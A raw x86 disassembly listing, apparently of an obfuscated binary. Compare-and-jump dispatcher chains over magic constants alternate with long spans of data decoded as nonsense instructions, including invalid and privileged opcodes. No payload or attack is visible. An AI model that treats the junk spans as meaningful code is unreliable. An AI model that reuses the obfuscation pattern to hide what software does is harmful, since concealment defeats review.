rol dword [0xcc9039a5], 0xe9
ret
jge 0x67af7698
loope 0x67af76d8
xchg ecx, eax
pop edx
dec ebp
xor dword [ebx], edx
invalid
scasb al, byte es:[edi]
or eax, esp
push es
dec ebx
push eax
mov dl, ah
pushal
dec esp
psubusb mm6, qword [ebp + 0x14436044]
jo 0x67af76a4
fcomp dword [ecx + 0x2e9238cf]
int1
xor al, 0xcf
pushal
add eax, 0xe132b165
and ah, byte [esi]
sbb eax, 0x47a0f411
pop esp
in al, dx
fild dword [ecx]
in eax, 0x7d
dec ebx
inc edi
xor dl, byte [ebp - 0x3123acbc]
fimul dword [edx + 0x3d0a85e2]
mov bh, 0xe8
mov ebx, 0xb9cc9065
jmp 0xdec1827e
hlt
add byte [eax], al
cmp al, 0xe6
dec edi
push ss
and dword [ebp - 0x21], eax
stosb byte es:[edi], al
out 0x3e, eax
sub byte [ecx - 0x25], dh
push ss
fild qword [edx + 0x71283ee7]
fist dword [esi]
jb 0x67af7ccc
cwde
sahf
jge 0x67af7d09
dec eax
daa
aad 0x71
jg 0x67af7d17
inc edi
cmc
jnp 0x67af7cb2
call 0xbc67104d
aaa
xor bl, 3
cmp bh, byte [esp + ebp + 0x34]
inc ecx
hlt
mov eax, cs
jo 0x67af7ca0
sbb eax, 0x41d675d
jnp 0x67af7c96
retf
lodsb al, byte [esi]
dec edx
lodsd eax, dword [esi]
popfd
xor eax, 0x1ac983b
and dword [edi], 0x5a
int1
outsd dx, dword [esi]
dec ecx
add al, 0x9c
dec eax
or al, byte [esi]
pop edi
in eax, dx
mov ah, 0xa0
push 0xffffffffffffffda
push edx
xchg edi, eax
test byte [esi], ch
pop ebx
rol edi, cl
out dx, eax
invalid
nop
jmp 0x67af827a
nop
sub dword [ebp + 8], 2
add dword [ebp + 8], 2
mov eax, dword [ebp + 8]
movzx eax, word [eax]
mov word [ebp - 0x4a], ax
cmp word [ebp - 0x4a], 0
jne 0x67af9524
mov dword [ebp - 0x228], 0x2ec3d
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x230], 0xc7f1
mov dword [ebp - 0x22c], 0
mov eax, dword [ebp - 0x228]
mov edx, dword [ebp - 0x224]
sub eax, dword [ebp - 0x230]
sbb edx, dword [ebp - 0x22c]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], edx
mov eax, dword [ebp - 0x238]
xor eax, 0xdd9d9
or eax, dword [ebp - 0x234]
je 0x67af8959
mov edx, 0xdd9d9
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x67af9518
mov eax, dword [ebp - 0x238]
xor eax, 0xca972
or eax, dword [ebp - 0x234]
je 0x67af8378
int3
mov edx, 0xca972
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x67af9518
mov eax, dword [ebp - 0x238]
xor eax, 0x2244c
or eax, dword [ebp - 0x234]
je 0x67af951e
mov eax, dword [ebp - 0x238]
xor eax, 0x7e072
or eax, dword [ebp - 0x234]
je 0x67af8f3a
jmp 0x67af9518
mov edx, 0x117bbcb4
xor byte [ecx], bl
mov ds, esi
fidivr word [ecx + 0x11ad0239]
not dword [esi]
fisub word [esi - 0x19]
imul ecx, dword [ebp + 0x48], 0x1de18b53
fst dword [edx + 0x48]
loop 0x67af8323
pop ebp
stosd dword es:[edi], eax
sti
invalid
rol dword [edx], cl
cmp al, 0x7b
into
rcl byte [ebx], cl
inc esi
std
sbb byte [edx - 0x54665e31], al
add byte [edi + 1], ch
sub eax, 0x6698ad49
mov edx, 0x6faec519
wait
insd dword es:[edi], dx
or al, 0x75
cdq
mov dh, 0x63
inc ecx
sub bl, dl
nop
insb byte es:[edi], dx
push ss
retf 0x3dec
xchg esi, eax
cdq
dec byte [ebx]
clc
xchg edx, eax
popfd
out dx, al
out 0x38, al
or dword [ebx + 0x16], eax
add ebx, dword [eax - 0x666d9fe7]
rcr dword [ebx - 0xe6c144f], 0x61
lea esp, [eax]
and eax, 0x5b5a2adf
test al, 0x22
scasd eax, dword es:[edi]
enter 0xbc1, 0x4c
salc
push edi
ret 0xe20c
nop
jmp 0x67b536db
nop
jmp 0x67b536db
mov dword [ebp - 0x58], 0x26114
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x60], 0x1b544
mov dword [ebp - 0x5c], 0
mov ecx, dword [ebp - 0x58]
mov ebx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
xor eax, 0xdc6e3
or eax, dword [ebp - 0x64]
je 0x67afaed5
mov edx, 0xdc6e3
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
mov eax, dword [ebp - 0x68]
xor eax, 0xda219
or eax, dword [ebp - 0x64]
je 0x67afa313
mov edx, 0xda219
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
mov eax, dword [ebp - 0x68]
xor eax, 0xc9317
or eax, dword [ebp - 0x64]
je 0x67afc659
mov edx, 0xc9317
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
mov eax, dword [ebp - 0x68]
xor eax, 0xa9fc5
or eax, dword [ebp - 0x64]
je 0x67af9d32
mov edx, 0xa9fc5
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
mov eax, dword [ebp - 0x68]
xor eax, 0x987be
or eax, dword [ebp - 0x64]
je 0x67afb4b6
mov edx, 0x987be
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
mov eax, dword [ebp - 0x68]
xor eax, 0x817c8
or eax, dword [ebp - 0x64]
je 0x67afc078
mov edx, 0x817c8
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
mov eax, dword [ebp - 0x68]
xor eax, 0x81302
or eax, dword [ebp - 0x64]
je 0x67afd7fc
mov edx, 0x81302
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
mov eax, dword [ebp - 0x68]
xor eax, 0x5f8c9
or eax, dword [ebp - 0x64]
je 0x67af9751
mov edx, 0x5f8c9
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
mov eax, dword [ebp - 0x68]
xor eax, 0x55ca5
or eax, dword [ebp - 0x64]
je 0x67afd21b
mov edx, 0x55ca5
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
mov eax, dword [ebp - 0x68]
xor eax, 0x4872d
or eax, dword [ebp - 0x64]
je 0x67afba97
mov edx, 0x4872d
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
add byte [eax], al
mov eax, dword [ebp - 0x68]
xor eax, 0x41658
or eax, dword [ebp - 0x64]
je 0x67afe3be
mov edx, 0x41658
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
mov eax, dword [ebp - 0x68]
xor eax, 0x7ed2
or eax, dword [ebp - 0x64]
je 0x67afa8f4
mov edx, 0x7ed2
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x67afe3bb
mov eax, dword [ebp - 0x68]
xor eax, 0xe82
or eax, dword [ebp - 0x64]
je 0x67afcc3a
mov eax, dword [ebp - 0x68]
xor eax, 0xf58
or eax, dword [ebp - 0x64]
je 0x67afdddd
jmp 0x67afe3bb
push edi
jle 0x67af96da
lodsd eax, dword [esi]
emms
cli
aas
ret
sbb eax, 0xf613680e
ficom dword [edi]
mov edi, 0xf84a9d70
shr dword [esp + ebp*4], 1
push ds
insd dword es:[edi], dx
int 0xc9
shl byte [esi + ebx*4], 1
adc esi, edi
ficomp word fs:[ecx]
out dx, eax
pop esi
and eax, 0x59666654
shl edi, cl
mov dl, 0x22
xor bl, bl
xor bl, bl
mov eax, 0x3708682a
mov ebp, 0x1e7e539c
xchg ecx, eax
jg 0x67af9dd6
outsb dx, byte [esi]
das
inc ebx
jg 0x67af9d59
fdivrp st(7)
lahf
and al, 0x39
xor esp, ebx
les ebp, [ebx + 0x7d33ef6e]
loope 0x67af9dcd
cmp dword [eax], 0xaddd9de5
mov eax, 0x13842112
jnp 0x67af9d67
ror ah, cl
mov dh, 0x51
push eax
mov edx, edi
xlatb
dec ebx
inc edx
or al, 0xa0
nop
int3
xor edx, ebp
fiadd word [ebp + 0x764fbba8]
or eax, 0x2247613b
cmp esp, dword [ecx + 0x47]
and ah, ch
pop ds
in eax, 0x1f
cdq
aaa
out 0x9a, eax
out 6, al
sub ch, byte [0xe62f0ca7]
add eax, 0xac2b23ee
stc
push 0xe4c74fc7
sbb al, 0x80
add edx, dword [eax - 0x1be73370]
and edx, dword [ecx + 0x77]
cmp eax, 0x3518081b
daa
stosd dword es:[edi], eax
sub dword [ebx], edi
fxch st(0)
dec edi
loop 0x67af9dda
lds ebx, [ebx - 0x412b3ba3]
cli
adc dword [ecx - 0x4f], edx
loope 0x67af9e16
mov cl, 0xe1
std
and al, 0x85
add eax, 0x32ee17da
adc dword [eax - 0x41a15472], edx
push esp
mov ecx, dword [ebp + 0x25a758fa]
sub ebp, dword [ebp - 0x7f]
pop ss
sahf
push ebp
add eax, 0x98478e40
sbb eax, 0x647b72a2
fcom qword [eax + 0x4c]
cdq
sub eax, 0xadd55d04
retf 0x55ea
add esi, eax
or eax, 0x5062040b
mov byte [esi], al
scasb al, byte es:[edi]
loop 0x67afa384
fcomp dword [eax + 0x4041bf30]
and eax, 0x3194f1b8
mov eax, 0x364278e3
inc ebx
imul esi, ecx, 0x4430d7ba
out dx, al
pop esp
ljmp 0x25b3
or bl, byte [edx + 0x74990e28]
out dx, al
and dword [eax - 0x3a], ebx
mov dh, 0xb2
call 0x8bd85fd6
mov ch, 0x11
pop esi
push edx
sbb eax, 0x6312e4ef
and esp, ebx
cld
in eax, 0xbf
inc edx
mov esp, 0xf3a86187
outsd dx, dword [esi]
mov cl, 0xb2
mov dh, 0xaf
fnstenv [edi]
xchg edi, eax
mov al, byte [0x842822e]
lodsb al, byte [esi]
fsubp st(4)
ret 0x641
dec eax
pop ecx
shr dword [esi], cl
and eax, 0x33f9d863
invalid
mov bl, 0x71
out dx, eax
cli
pop ecx
out dx, al
invalid
outsb dx, byte [esi]
dec edx
scasd eax, dword es:[edi]
or dword [eax + edx*4 + 0x78149690], esp
fldenv [esi - 0x1088e2a9]
pushfd
int3
pop edi
dec eax
aad 0x98
test dword [edx - 0x2f08cf3f], ecx
cmp eax, 0x6fce363e
cli
xor cl, byte fs:[edx - 0x22]
or ebx, edi
pop edx
jecxz 0x67afbafc
cmp byte [0xc8b25695], al
and ah, byte [ebp]
fisubr word [eax - 0x70]
int3
push edi
rol esi, 1
and al, 0x56
xchg ebp, eax
mov word [esi - 0x19], gs
add al, 0x89
adc dl, dh
mov word [ecx], gs
pop ebp
std
mov dword [0xf9d7e704], eax
jno 0x67afbb0b
or dword [ebp - 0x6a], edi
inc ebx
ja 0x67afba6c
cmp dh, byte [edi + ecx*4 - 0x59f7d08b]
xor dword [edx], esp
adc al, 0xa0
pop ebp
invalid
lodsb al, byte [esi]
invalid
push ebx
in al, dx
popfd
jbe 0x67afbb27
invalid
scasd eax, dword es:[edi]
les esi, [ecx + 0x1cc5cf40]
and ecx, dword [eax - 0x3b7d28e2]
lahf
dec eax
retf 0x91e8
xor al, 0xa5
mov eax, dword [0xcdc0b97]
push edi
dec eax
or al, byte [esi + 0x51]
sub dword [eax + 0x5e2f1f19], ebx
invalid
inc esp
dec ebx
ror dword [esi + 0x7d], 1
sbb dword [eax + 0x3a33b913], ebx
cmp byte [eax - 0x6f0becac], 0xcc
jmp 0x67afe3bf
hlt
inc ebp
test eax, 0x27e18c6f
cmp byte [ebx], dl
fisttp qword [ebp - 0x1a49f653]
inc esp
pushfd
loopne 0x67afc651
mov ecx, 0x976853bc
cmp dl, byte [edi + 0x2eb4a097]
scasb al, byte es:[edi]
add eax, 0x29a243b0
or byte [edx - 0x4a], dl
out 0x1e, eax
test byte [ebx - 0x27fa6608], ah
cwde
loop 0x67afc6ef
salc
sbb al, 0x74
xchg ecx, eax
ja 0x67afc704
adc dword [eax - 0x3fc5dbd9], edi
add ecx, esp
cmpsd dword [esi], dword es:[edi]
loope 0x67afc641
sub ebx, dword [eax]
aad 0x3e
outsd dx, dword [esi]
jo 0x67afc698
wait
dec esp
mov bl, 0x94
pop ecx
xchg edx, eax
xchg edi, eax
dec esp
invalid
and byte [ebx], 0x1e
iretd
adc al, 0x55
pop ebp
xchg esi, eax
in al, 0x7f
pushfd
in al, dx
fsub qword [ebp - 0x6e4492d5]
pop esi
add esi, dword [eax - 0x4a3eafc0]
out dx, al
imul edi, esp, 0xcc909061
test dword [edx - 0x72a83ac6], edi
dec ecx
invalid
cmp dword [edi - 0x64838a7b], ecx
call 0x47906ca3
pcmpeqb mm4, qword [ecx - 0x330d17de]
mov byte [0x9ebbabc9], al
invalid
mov ecx, 0x49ec7e6d
push esp
rcl dword [ebx + 0x659d699d], cl
fisub word [ecx + 0x7fbb961a]
cvtps2pi mm2, qword [edi]
wait
out dx, al
xor eax, 0xd34f86b0
mov ebp, 0xf42bfe30
fcom qword [ebp]
cmp eax, 0x1a792dd0
dec ecx
invalid
add byte [eax], al
mov bl, 0x2b
mov esi, 0x1d2f2cdf
fsubp st(0)
mov dh, 0x1b
xor edx, dword [edi - 0xf128c5d]
dec dh
dec esi
test eax, 0x11041720
xchg esi, eax
dec eax
pop edx
jg 0x67afd7fa
xchg esp, eax
and ch, byte [ebp + 0x5bfa4b6f]
xchg ebp, edx
invalid
mov cl, 0x8c
mov al, 0x43
mov bh, 5
test al, 4
mov eax, 0xe9cc90eb
loop 0x67afdde0
add byte [eax], al
add bh, dh
cmp eax, 0xdc5915be
idiv dword [0xdc5915be]
adc eax, 0x564edc59
dec esi
push esi
ror byte [edi - 0x61], 1
aaa
cmp ebp, ebx
sub al, 0xae
ja 0x67afdddc
cdq
out 0x6a, al
call 0xfbdce782
lds edx, [edi + 0x1b9432ec]
lcall 0xf588, 0x6b8cc3f5
jg 0x67afde41
neg dword [edi]
cmp al, 0x39
and byte [eax + edi*8 - 0x58348826], al
push 0x1618b207
mov ecx, 0x8ba6b2c2
movsb byte es:[edi], byte [esi]
cmpsb byte [si], byte es:[di]
cmp dword [ecx + 0x67], eax
sbb eax, 0xbdebf451
js 0x67afddcc
jo 0x67afdea6
push ds
ljmp 0xe669
stosb byte es:[edi], al
cmp esi, ecx
jo 0x67afde92
sbb dword [ebx + 0x47], ebp
mov al, byte [0xf6a3f750]
sti
push edx
movsd dword es:[edi], dword [esi]
invalid
cmp ebx, edi
mov ch, 0x75
invalid
ret
nop
jmp 0x67afe3bf
nop
movzx eax, word [ebp - 0x4a]
cmp ax, word [ebp - 0x2a]
jne 0x67af827e
add dword [ebp + 0xc], 2
mov eax, dword [ebp + 0xc]
movzx eax, word [eax]
mov word [ebp - 0x4a], ax
cmp word [ebp - 0x4a], 0
jne 0x67b02d26
mov dword [ebp - 0x210], 0xe5a72
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x218], 0xdf24e
mov dword [ebp - 0x214], 0
mov eax, dword [ebp - 0x210]
mov edx, dword [ebp - 0x20c]
sub eax, dword [ebp - 0x218]
sbb edx, dword [ebp - 0x214]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], edx
mov eax, dword [ebp - 0x220]
xor eax, 0xee4b2
or eax, dword [ebp - 0x21c]
je 0x67b0215b
mov edx, 0xee4b2
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x67b02d1a
mov eax, dword [ebp - 0x220]
xor eax, 0xcf7b1
or eax, dword [ebp - 0x21c]
je 0x67b00fb8
mov edx, 0xcf7b1
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x67b02d1a
mov eax, dword [ebp - 0x220]
xor eax, 0xc8b85
or eax, dword [ebp - 0x21c]
je 0x67aff253
mov edx, 0xc8b85
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x67b02d1a
mov eax, dword [ebp - 0x220]
xor eax, 0xb4592
or eax, dword [ebp - 0x21c]
je 0x67aff834
mov edx, 0xb4592
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x67b02d1a
mov eax, dword [ebp - 0x220]
xor eax, 0x939f9
or eax, dword [ebp - 0x21c]
je 0x67affe15
mov edx, 0x939f9
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x67b02d1a
mov eax, dword [ebp - 0x220]
xor eax, 0x7f42d
or eax, dword [ebp - 0x21c]
je 0x67b003f6
mov edx, 0x7f42d
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x67b02d1a
mov eax, dword [ebp - 0x220]
xor eax, 0x73d59
or eax, dword [ebp - 0x21c]
je 0x67b009d7
mov edx, 0x73d59
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x67b02d1a
mov eax, dword [ebp - 0x220]
xor eax, 0x3cd6c
or eax, dword [ebp - 0x21c]
je 0x67b0273c
mov edx, 0x3cd6c
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x67b02d1a
mov eax, dword [ebp - 0x220]
xor eax, 0x265a0
or eax, dword [ebp - 0x21c]
je 0x67b01b7a
mov edx, 0x265a0
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x67b02d1a
mov eax, dword [ebp - 0x220]
xor eax, 0x253e7
or eax, dword [ebp - 0x21c]
je 0x67b01599
mov edx, 0x253e7
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x67b02d1a
mov eax, dword [ebp - 0x220]
xor eax, 0x1f835
or eax, dword [ebp - 0x21c]
je 0x67afec72
mov edx, 0x1f835
mov eax, 0
cmp edx, dword [ebp - 0x220]
sbb eax, dword [ebp - 0x21c]
jl 0x67b02d1a
mov eax, dword [ebp - 0x220]
xor eax, 0x6824
or eax, dword [ebp - 0x21c]
je 0x67b02d20
mov eax, dword [ebp - 0x220]
xor eax, 0x12dae
or eax, dword [ebp - 0x21c]
jne 0x67b02d1a
jge 0x67afe69f
xchg esi, eax
daa
lds esi, ss:[edx + 0x72934962]
sbb dh, al
outsb dx, byte [esi]
push esp
mov eax, 0x22787806
movsb byte es:[edi], byte [esi]
add dl, byte [edx + 0x62]
fist word [edi]
ficom word [ecx + 0x3f]
invalid
jmp 0x67b02d21
int 0xe4
sub edi, ebx
mov ebp, 0xe67fd2a
mov word [edi + eax*2 - 0x5b], es
inc esp
inc edi
movsd dword es:[edi], dword [esi]
sti
xchg edi, eax
and eax, 0x66beca39
dec ebx
sub dh, byte [ecx]
push ss
pop edx
cmpsb byte [esi], byte es:[edi]
lodsd eax, dword [esi]
push ds
push cs
cmp esp, esi
fstp dword [ecx + 0x7048daac]
cmpsb byte [esi], byte es:[edi]
jl 0x67afec6d
mov dl, byte [edi - 7]
clc
adc bl, al
leave
dec esp
dec edi
xchg ebx, eax
or esi, dword [ebx]
lcall 0xed4d, 0x103844fd
out 0xc8, eax
mov esi, 0x1149d766
jae 0x67afec9a
div dword [esi + 0x6e4a057b]
xchg ebp, eax
jl 0x67afec7c
in eax, dx
or eax, 0x920bbf10
ret 0xde14
push esi
ljmp 0x7c45
test al, 0xcd
mov al, 0xc
nop
int3
into
add eax, 0xd8b16142
mov gs, word [edi - 0x7c]
jle 0x67aff829
salc
lcall 0x4698, 0x727e30f
xchg edi, eax
imul dword [edx - 0x13449d2]
cmp dl, byte [edi]
outsb dx, byte [esi]
and al, 0x98
aaa
pop ebp
sahf
cmp ecx, esi
out dx, eax
invalid
jo 0x67affe60
fcomi st(5)
xchg edi, eax
cli
les ebp, [0xca9778b0]
sbb esi, 0x57f39cee
and dword [eax - 0x79], edx
invalid
mov esi, 0x8113e3ea
or cl, byte [ebx]
pop eax
aam 0x80
jge 0x67affe69
cmp byte [ebp - 3], 0xdc
call 0x9500e7ab
bound ebx, qword [0x905a3a72]
fsub st(0), st(0)
cmp ecx, ebp
push eax
sub eax, 0x3a721d62
pop edx
nop
int3
popfd
test dword [ecx - 0x259ed6e6], 0xf8cc9078
int 0xfb
pop esp
lahf
jle 0x67b00383
xor edx, dword [edx - 0x1f6cee9b]
pop ds
sti
adc esi, dword [esi + 0x33c5b0aa]
and dword [ebx + 0x68], 0xffffff8b
ret 0x6bbb
mov esp, 0xa1460a51
or esi, dword [edx]
mov dl, 0xdf
std
jg 0x67b00390
mov eax, 0x4bf89504
xor esp, 0xc
mov bl, 0xfa
jmp 0x1e0b286
xchg esp, eax
sbb ah, dh
jb 0x67b00a08
movsb byte es:[edi], byte [esi]
push cs
and edi, ecx
pop edi
or dl, byte [ecx + esi*8]
enter 0xffffffffffff87c1, 0
inc esp
mov byte [0x7f8b5403], al
retf
lea edx, [eax + 0x234ae9cc]
add byte [eax], al
sar byte [ebp - 0x5b59c84d], 1
or byte [ecx + 0x31de78d9], 0x67
movsb byte es:[edi], byte [esi]
adc al, dl
sub dword [ecx - 0x3afd4d7e], 0x12
mov bh, 0x3c
cwde
push ds
add al, 0x71
inc esi
xchg esi, eax
insb byte es:[edi], dx
aam 4
out 0xfb, al
fimul dword [edx + 0x62b64fb9]
je 0x67b009cf
jae 0x67b0098f
ffreep st(3)
cmp al, 0x6b
pop ebp
and eax, 0xbdb87c5b
and dh, ah
movsb byte es:[edi], byte [esi]
and dl, bh
jg 0x67b00a8e
movsd dword es:[edi], dword [esi]
and al, byte [edi + 0x5a]
fcom st(3)
lcall 0x3e5d, 0x34debe15
mov eax, dword [0xa39f9fc9]
out 0xc3, al
dec edi
sbb ah, ch
test byte [ebx + edx*8], al
stosd dword es:[edi], eax
rep lodsb al, byte [esi]
jne 0x67b00a1d
invalid
mov dh, 6
mov al, byte [0x7111496]
pushal
invalid
imul ebx, dword [0x95800000], 0x6e75ca22
inc ecx
adc byte [ebp + 0x6e75ca22], 0x41
sub edx, ebp
mov byte [esi - 0x32ab5b0f], ch
jmp 0x67b00fce
jl 0x67b00fb4
ret
aas
xor eax, 0xce416b5a
dec edx
test byte [edi + 0x61], 0x7c
mov byte [ebp - 0x36], ah
and al, 0x89
aad 0x27
xor esp, ebx
and eax, 0x1fa3e199
mov bl, 0xa6
je 0x67b01559
adc dword [ebx - 0x5c3ce8bb], eax
jbe 0x67b015d0
popfd
in al, 0xdb
in al, 0x57
retf
loopne 0x67b01536
rcl dword [0xc2da2e3b], cl
dec ecx
popal
pop edx
sbb byte [edx - 0x5cbd5b77], ch
and dh, dh
sub eax, 0x21ebb23
popal
and dword [ebp - 0x77], ebp
push edx
invalid
mov eax, dword [0x5eceace3]
inc ebp
scasb al, byte es:[edi]
invalid
int1
sub byte [eax - 0x43545897], bh
mov ah, 0x57
daa
hlt
sbb edx, dword [ebp - 0x147706be]
out dx, eax
push es
mov esi, 0xc6424d25
mov dword [0x624cbfb2], eax
and al, 0x96
push ebp
push es
jg 0x67b02176
sbb eax, 0xbfd68213
adc dh, 0xbf
jp 0x67b021e9
invalid
arpl word [esi + 0x2d5eb49c], sp
mov dh, byte [ecx - 0x4aa1d706]
fdivr dword [eax - 0xe]
or eax, 0x5fd3cec3
aam 0x1c
lodsb al, byte [esi]
ret 0xf6ac
and eax, dword [edi - 0x4b]
push esp
cmpsb byte [esi], byte es:[edi]
xchg byte [esi], dl
adc eax, 0xad9cb459
pop edi
fcmovnb st(0), st(5)
mov al, byte [0x6e68f68c]
xchg ebp, eax
mov ecx, 0x9b5ad52
mov edi, 0x61e34563
sti
or dl, byte [esp + esi*8]
adc eax, 0x98e5654c
mov bl, 0x79
cli
sbb dword [ecx], ebp
xchg edi, eax
cmp eax, 0xe2609156
bound ecx, qword [ebp - 0xc47b6a6]
imul edx, dword [eax], 0x8c0966dd
insd dword es:[edi], dx
or dword [edx - 0x7d], ebp
invalid
nop
jmp 0x67b4ed92
nop
jmp 0x67b4ed92
mov dword [ebp - 0x70], 0xa4fa0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x78], 0xcba8
mov dword [ebp - 0x74], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x78]
mov edx, eax
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x70]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x70]
mul dword [ebp - 0x78]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
xor eax, 0x33e82100
mov edx, dword [ebp - 0x7c]
xor edx, 8
or eax, edx
je 0x67b0a60d
mov edx, 0x33e82100
mov eax, 8
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0xef521
or eax, dword [ebp - 0x7c]
je 0x67b04de1
mov edx, 0xef521
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0xeb03e
or eax, dword [ebp - 0x7c]
je 0x67b088ab
mov edx, 0xeb03e
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0xe2cf3
or eax, dword [ebp - 0x7c]
je 0x67b08e8c
mov edx, 0xe2cf3
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0xdecfc
or eax, dword [ebp - 0x7c]
je 0x67b07127
mov edx, 0xdecfc
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0xdc678
or eax, dword [ebp - 0x7c]
je 0x67b082ca
mov edx, 0xdc678
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0xcf89a
or eax, dword [ebp - 0x7c]
je 0x67b06565
mov edx, 0xcf89a
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0xbc7e4
or eax, dword [ebp - 0x7c]
je 0x67b0365d
mov edx, 0xbc7e4
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0xb58ca
or eax, dword [ebp - 0x7c]
je 0x67b05f84
mov edx, 0xb58ca
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0x98eea
or eax, dword [ebp - 0x7c]
je 0x67b053c2
mov edx, 0x98eea
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0x8ccc8
or eax, dword [ebp - 0x7c]
je 0x67b0421f
mov edx, 0x8ccc8
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0x7e2db
or eax, dword [ebp - 0x7c]
je 0x67b04800
mov edx, 0x7e2db
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0x6eba6
or eax, dword [ebp - 0x7c]
je 0x67b03c3e
mov edx, 0x6eba6
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0x6b840
or eax, dword [ebp - 0x7c]
je 0x67b0946d
mov edx, 0x6b840
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0x5490a
or eax, dword [ebp - 0x7c]
je 0x67b0307c
mov edx, 0x5490a
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0x33a4b
or eax, dword [ebp - 0x7c]
je 0x67b06b46
mov edx, 0x33a4b
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
xor eax, 0x2994b
or eax, dword [ebp - 0x7c]
je 0x67b07708
mov edx, 0x2994b
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67b0a610
mov eax, dword [ebp - 0x80]
